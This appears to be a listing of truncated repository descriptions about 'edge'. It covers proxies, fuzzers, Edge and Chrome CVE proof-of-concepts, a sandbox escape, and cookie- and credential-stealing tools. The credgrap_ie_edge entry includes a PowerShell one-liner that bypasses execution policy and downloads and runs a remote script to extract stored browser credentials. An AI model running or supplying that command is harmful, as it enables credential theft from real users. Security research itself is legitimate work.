reproxy

Reproxy is a simple edge HTTPs server / reverse proxy supporting various providers docker, static, file, consul catalog. One or more providers supply information about the requested server, requested URL, destination URL, and health check URL. It is distributed as a single binary or as a docker...

edge

Cloud edge - Whois for the Cloud Lookup an IP to find the cloud provider and other details based on the provider's published JSON, CSV, or text data Cloud edge is a recon tool focused on exploring cloud service providers. It can be used for cloud attribution and forensics, pentesting, bug bounty,...

CVE-2019-1253

CVE-2019-1253 Original Poc sent to MSRC. This issue has been fixed with September 2019 "Tuesday" regular update. Assigned to CVE-2019-1253 - Windows Elevation of Privilege Vulnerability. https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1253 There are two PoCs: the one...

eclipse__hawkbit_CVE-2020-27219_0-3-0M6

Eclipse hawkBit™ - Update Server Eclipse hawkBit is an domain independent back end solution for rolling out software updates to constrained edge devices as well as more powerful controllers and gateways connected to IP based networking infrastructure. Build: Docker: Documentation see hawkBit...

profilehound

/ \ / / / / / / / / / // / / / // / / / // / / / / / / / / / / / // / / / / / / // / // / / / / // / // // // ///// ///,// //,/ ProfileHound ProfileHound is a post-escalation tool to help find and achieve red-teaming objectives by locating domain user profiles on machines. It uses the...

PHP-Fuzzer

PHP Fuzzer This library implements a fuzzer for PHP, which can be used to find bugs in libraries particularly parsing libraries by feeding them "random" inputs. Feedback from edge coverage instrumentation is used to guide the choice of "random" inputs, such that new code paths are visited...

STIG-Edge-RCE-CVE2025-9478

STIG – Microsoft Edge Chromium 139.0.3405.125 Ejecución Remota de Código CVE-2025-9478, Plugin ID: 258091 Antes Hallazgo: Microsoft Edge versión 139.0.3405.86 estaba desactualizado y era vulnerable a una falla crítica de Ejecución Remota de Código RCE CVE-2025-9478. Riesgo: Los atacantes podían...

Microsoft-Edge-Information-Disclosure

Microsoft-Edge-Information-Disclosure CVE-2024-30056 Microsoft Edge Chromium-based Information Disclosure Vulnerability This is a vulnerability in Microsoft Edge Chromium-based. The attacker was able to trick the user into revealing sensitive information without his knowledge. Poc: PoC...

Venom

Venom Venom es una biblioteca de C++ diseñada para ofrecer una forma alternativa de comunicarse. En lugar de crear un socket que pueda rastrearse hasta el proceso, crea un nuevo proceso de Edge separado y "oculto" no se muestra ninguna ventana Edge fue elegido porque es un navegador que está...

CVE-2022-0337-PoC-Google-Chrome-Microsoft-Edge-Opera

🤝 Muestra tu apoyo - da una ⭐️ si te gustó el contenido | COMPARTE en Twitter | Sígueme en CVE-2022-0337 Filtración de variables de entorno del sistema en Google Chrome, Microsoft Edge y Opera 📝 Descripción La explotación exitosa de esta vulnerabilidad puede provocar la filtración de secretos del...

CVE-2025-47181

CVE-2025-47181 Concept: Microsoft Edge Link Following Privilege Escalation Project Overview This repository presents the CVE-2025-47181 Concept , a Python program designed to illustrate the mechanism and impact of CVE-2025-47181. This is a Privilege Escalation vulnerability in Microsoft Edge...

chlonium

Chlonium Chlonium is an application designed for cloning Chromium Cookies. From Chromium 80 and upwards, cookies are encrypted using AES-256 GCM, with a state key which is stored in the Local State file. This state key is encrypted using DPAPI. This is a change from older versions, which used DPA...

credgrap_ie_edge

credgrapieedge Content: Extract stored credentials from Internet Explorer and Edge Author: Florian Hansemann | @HanseSecure | https://hansesecure.de Date: 04/2018 Usage powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recommendation Powershell...

exploit_mitigations

Exploitation Mitigations The goal is to list exploitation mitigations added over time in various operating systems, software, libraries or hardware. It becomes handy to know if a given vulnerability is easily exploitable or not depending on exploitation mitigations in place. An example is the...

reproxy

Reproxy 是一个简单的边缘 HTTPs 服务器/反向代理，支持多种提供者（docker、static、file、consul catalog）。一个或多个提供者提供关于请求服务器、请求 URL、目标 URL 和健康检查 URL 的信息。它以单个二进制文件或 Docker 容器的形式分发。 通过 Let's Encrypt 自动 SSL 终止 支持用户提供的 SSL 证书 简单但灵活的代理规则 静态、命令行代理规则提供者 动态、基于文件的代理规则提供者 Docker 提供者，自动发现 Consul Catalog 提供者，通过服务标签发现 支持多个（虚拟）主机 可选流量压缩 可选基于...

CVE-2022-21970

CVE-2022-21970 Descripción Vulnerabilidad de elevación de privilegios en Microsoft Edge basado en Chromium. Esta vulnerabilidad permite a un atacante ejecutar código javascript en cualquier host sin permiso; también puede robar archivos locales del sistema, y también puede manipular las acciones...

doona

Doona - Network fuzzing tool .:: About ::. Doona is a fork of the Bruteforce Exploit Detector Tool BED. BED is a program which is designed to check daemons for potential buffer overflows, format string bugs etc. Doona is Australian for duvet. It adds a significant enough number of features/change...

CVE-2024-21388

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 We demand the safe return of all citizens who have been taken hostage by the terrorist group Hamas. We will not rest until every hostage is released and returns home safely. You can help bring them back home.https://stories.bringthemhomenow.net/ Microsoft Edge...

TriBell_Edge_SandBox_Escape

TriBellEdgeSandBoxEscape Tribell Edge Sandbox Escape - PoCs of Edge's legacy vulnerabilities BadgeUpdateManager / TileFlyoutUpdateManager / ToastNotificationManager to exploit cross-boundary XmlDocument sharing and escape Edge’s LPAC sandbox CVE-2019-0555. The PoCs trigger the execution of...

oneiromancer

oneiromancer "Una gran fracción de los defectos en el desarrollo de software se deben a que los programadores no comprenden completamente todos los estados posibles en los que su código puede ejecutarse." -- John Carmack "¿Puede ejecutar Doom?" -- https://canitrundoom.org/ Oneiromancer es un...